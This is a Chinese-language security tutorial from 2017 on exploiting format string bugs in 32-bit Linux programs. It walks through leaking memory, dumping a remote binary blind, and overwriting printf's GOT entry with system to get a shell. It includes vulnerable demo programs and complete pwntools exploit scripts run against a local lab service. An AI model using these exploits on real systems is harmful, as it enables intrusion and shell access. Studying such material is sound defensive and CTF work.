Author: Hcamael (知道創宇404安全實驗室) Date: 2017-03-14
格式化字符串漏洞現在網上有很多相關的文章,原理啥的隨便搜搜都是,這篇文章就對格式化字符串漏洞如何利用進行研究。
格式化字符串危害最大的就兩點,一點是leak memory,一點就是可以在內存中寫入數據,簡單來說就是格式化字符串可以進行內存地址的讀寫。
Leak Memory
先來對一個簡單的Demo進行研究:
// fmt_test.c
int main(int argc, char * argv[])
{
char a[1024];
memset(a, '\0', 1024);
read(0, a, 1024);
printf(a);
return 0;
}
// $ gcc fmt_test.c -o fmt_test -m32
// $ socat TCP4-LISTEN:10001,fork EXEC:./fmt_test
假設我們不知道該程序的源碼,連bin都沒有,只是能訪問一個這樣的應用:
$ nc 127.0.0.1 10001
aaaaaaa
aaaaaaa
在這種情況下,就是去嘗試各種漏洞的攻擊方法,比如棧溢出漏洞就輸入一堆字符,比如100*"a",而格式化字符串漏洞是使用"%x"這類格式化字符串去嘗試,比如:
$ nc 127.0.0.1 10001
%x
2c51cce0
得到了這樣的返回就說明該應用存在格式化字符串漏洞了,因為沒有源代碼或bin,并不知道要往哪寫啥數據,所以我們可以先leak memory,獲取該應用的源碼
leak memory利用到的是%s格式化字符,它的作用是輸出對應參數指向地址的值,也就是說它對應的參數是一個指針,而我們可以得到該指針對應內存數據
我們還可以繼續改進該格式化字符,%2$s,它表示的意義是輸出第二個參數指向的內存的值
那么我們怎么通過上面的格式化字符獲取我們想要的內存的地址呢?這就涉及第三個知識點。
格式化字符串漏洞是怎么產生的?首先要有一個函數,比如read, 比如gets獲取用戶輸入的數據儲存到局部變量中,然后直接把該變量作為printf這類函數的第一個參數值
其中局部變量是儲存在棧中,而且是儲存在棧的高位地址上,這里具體細節可以去讀讀匯編代碼,簡單的說,進入到一個函數中后,會sub rsp,xxx一段局部變量的棧空間,然后函數的參數啥的都是push到局部變量的棧空間之上
理解了上述的知識點后,我們可以輸入想leak數據的內存地址,然后爆破出我們輸入數據的位置,不就能leak相應地址的內存的數據了么
比如我輸入ABCD%2$x,如果輸出ABCD十六進制值,則說明第二個參數為我們輸入的數據的起始位置.
$ nc 127.0.0.1 10001
ABCD%2$x
ABCD400
$ nc 127.0.0.1 10001
ABCD%3$x
ABCD174
$ nc 127.0.0.1 10001
ABCD%4$x
ABCD174
....
$ nc 127.0.0.1 10001
ABCD%11$x
ABCD44434241
這樣我們就能得到payload: addr + %11$s, 返回值為addr指向的內存的字符串,直到\0為止
這里我們可以進行測試下(我們現在是處于研究狀態,雖然假想沒bin,但實際我們是有的,所以可以進行測試來證明我們的結論)
$ objdum -d fmt_test -M intel
....
080485c4 <_fini>:
80485c4: 53 push ebx
80485c5: 83 ec 08 sub esp,0x8
80485c8: e8 33 fe ff ff call 8048400 <__x86.get_pc_thunk.bx>
80485cd: 81 c3 33 1a 00 00 add ebx,0x1a33
80485d3: 83 c4 08 add esp,0x8
80485d6: 5b pop ebx
80485d7: c3 ret
$ py
>>> from pwn import *
>>> p = remote("127.0.0.1",10001)
[x] Opening connection to 127.0.0.1 on port 10001
[x] Opening connection to 127.0.0.1 on port 10001: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 10001: Done
>>> p.send(p32(0x80485c4)+"%11$s")
>>> p.recv()
'\xc4\x85\x04\x08S\x83\xec\x08\xe83\xfe\xff\xff\x81\xc33\x1a'
>>>
從上面的測試代碼中可以證明上述所講的結論, 我們成功leak出相應內存的數據(直到\x00為止)
上面爆破出來的11我們稱為offset,pwntools有自動化代碼可以算出offset:
# fmt_test.py
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
def exec_fmt(payload):
p = process("a.out")
p.sendline(payload)
info = p.recv()
p.close()
return info
autofmt = FmtStr(exec_fmt)
print autofmt.offset
我們可以看看其中一條DEBUG數據和結果:
$ python fmt_test.py
...
[+] Starting local process './a.out' argv=['a.out'] : Done
[DEBUG] Sent 0x22 bytes:
'aaaabaaacaaadaaaeaaaSTART%11$pEND\n'
[DEBUG] Received 0x27 bytes:
'aaaabaaacaaadaaaeaaaSTART0x61616161END\n'
[*] Stopped program './a.out'
[*] Found format string offset: 11
11
測試完了,現在又恢復到沒bin狀態,有了前面的基礎,要dump出整個bin就很容易了
在Linux下,不開PIE保護時,32位的ELF的默認首地址為0x8048000,如果開啟了PIE保護,則需要根據ELF的魔術頭7f 45 4c 46進行爆破,內存地址一頁一頁的往前翻直到翻到ELF的魔術頭為止
但是這時候還存在一個問題: 比如我的Payload為:
p = remote("127.0.0.1",10001)
p.send(p32(0x8048000)+"%11$s")
print p.recv()
得到的結果是
$ python fmt_test.py
...
Traceback (most recent call last):
...
EOFError
...
發生了EOFError, 這是因為
>>> p32(0x8048000)
'\x00\x80\x04\x08'
printf 根據\x00判斷結尾
所以我們需要更改下payload
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote("127.0.0.1",10001)
p.send("%13$saaa" + p32(0x8048000))
print p.recv()
可以成功dump數據了:
$ python fmt_test.py
[+] Starting local process './a.out' argv=['a.out'] : Done
[DEBUG] Sent 0xc bytes:
00000000 25 31 33 24 73 61 61 61 00 80 04 08 │%13$│saaa│····││
0000000c
[DEBUG] Received 0xa bytes:
00000000 7f 45 4c 46 01 01 01 61 61 61 │·ELF│···a│aa│
0000000a
原理都懂了,可以寫payload去dump 整個bin回來了
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
f = open("source.bin", "ab+")
begin = 0x8048000
offset = 0
while True:
addr = begin + offset
p = process("a.out")
p.sendline("%13$saaa" + p32(addr))
try:
info = p.recvuntil("aaa")[:-3]
except EOFError:
print offset
break
info += "\x00"
p.close()
offset += len(info)
f.write(info)
f.flush()
f.close()
內存數據dump下來后,雖然跟原始bin有很大不同,也運行不了,但是丟到ida中任然是可以看的:

Write
二進制漏洞的最終目的都是要getshell,所以在我們獲取到bin后,接下來就是要getshell了
不過之前的demo過于簡單,沒有什么好的getshell的方法,對demo進行下修改.
// fmt_test2.c
#include <stdio.h>
int main(int argc, char * argv[])
{
char a[1024];
while(1)
{
memset(a, '\0', 1024);
read(0, a, 1024);
printf(a);
fflush(stdout);
}
return 0;
}
// $ gcc fmt_test2.c -o fmt_test2 -m32
// $ socat TCP4-LISTEN:10001,fork EXEC:./fmt_test2
和之前的demo比,多了循環,不像之前一樣一下就退出了
在這種情況下,我們可以很容易只依靠格式化字符串漏洞進行攻擊
利用的邏輯很簡單,根據之前的知識點,leak出bin,然后獲取到printf函數的got表地址,然后把這個地址的值改為system函數的地址,在下次循環的時候,輸入/bin/sh,則printf(a);實際執行的卻是system('/bin/sh')
利用過程中,第一個知識點: dump 內存數據,也就是上面的內容,得到bin后,可以很容易的獲取到got表信息
接下來第二個知識點就是獲取system函數的地址,不過卻需要爆破跑
每次我首先獲取printf函數的地址,然后再根據自己機子上printf和system函數之間的差值估測一個大概范圍進行爆破,得到的數據和system函數中的一些特征數據進行對比,判斷是否是system函數
這一步跳過,現在假設自己有libc庫,我本地的libc中,printf和system函數的差值為:59600
最后一步,就是通過格式化字符串內容進行寫內存了,覆蓋got表中的值
這里我們可以使用pwntools神器:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
printf_got = 0x804a010
system_add = 0xaaaaaaaa
def exec_fmt(payload):
p.sendline(payload)
return p.recv()
p = remote("127.0.0.1", 10001)
autofmt = FmtStr(exec_fmt)
payload = fmtstr_payload(autofmt.offset, {printf_got: system_add})
上述代碼中autofmt = FmtStr(exec_fmt)到這行的內容之前都講過,接下來就是fmtstr_payload函數,這個函數的作用是用來生成格式化字符串漏洞寫內存的payload.
上述代碼的第一個參數為offset偏移,第二個參數是一個字典,意義是往key的地址,寫入value的值,也就是往0x804a010地址寫入數據0xaaaaaaaa
我們來看看輸出的payload:
...
>>> payload = fmtstr_payload(autofmt.offset, {printf_got: system_add})
>>> payload
'\x10\xa0\x04\x08\x11\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08%154c%11$hhn%12$hhn%13$hhn%14$hhn'
開頭16bytes是4個地址:
0x0804a010
0x0804a011
0x0804a012
0x8004a012
然后是格式化字符串:%154c, 輸出hex(154)==0x9a bytes的字符,再加上之前的16bytes地址,一共有0xaa bytes
第三部分也是格式化字符串: %11$hhn%12$hhn%13$hhn%14$hhn,往第11, 12, 13, 14個參數指向的地址寫入一個值,該值等于之前輸出的byte數,在這里就是0xaa
而偏移值為11, 所以第11個參數為payload頭,也就是0x0804a010,然后以此類推
就是通過上述邏輯往相應地址寫入相應值的
所以可以寫出exp:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote("127.0.0.1", 10001)
# 獲取printf的libc地址
printf_got = 0x804a010
leak_payload = "b%13$saa" + p32(printf_got)
p.sendline(leak_payload)
p.recvuntil("b")
info = p.recvuntil("aa")[:-2]
print info.encode('hex')
# 計算system的libc地址
print_add = u32(info[:4])
p_s_offset = 59600 # addr(printf) - addr(system)
system_add = print_add - p_s_offset
# 生成payload
payload = fmtstr_payload(11, {printf_got: system_add})
# 發送payload
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
總結
在前幾天的NJCTF中有一個pingme的PWN題就是沒有源碼的格式化字符串漏洞.
二進制文件我拖下來了在我的Github2上
有興趣的可以自己搭個環境試試看,該題就是只有一個遠程可訪問的服務,沒有bin和libc,不過這題的libc可以通過別的題獲取到,所以也可以算是已知libc的題
思路同我上面demo所講.
參考
- 格式化字符串漏洞簡介
- https://github.com/Hcamael/CTF_repo/tree/master/NJCTF%202017/Pwn200(pingme)
- http://python3-pwntools.readthedocs.io/en/latest/fmtstr.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/246/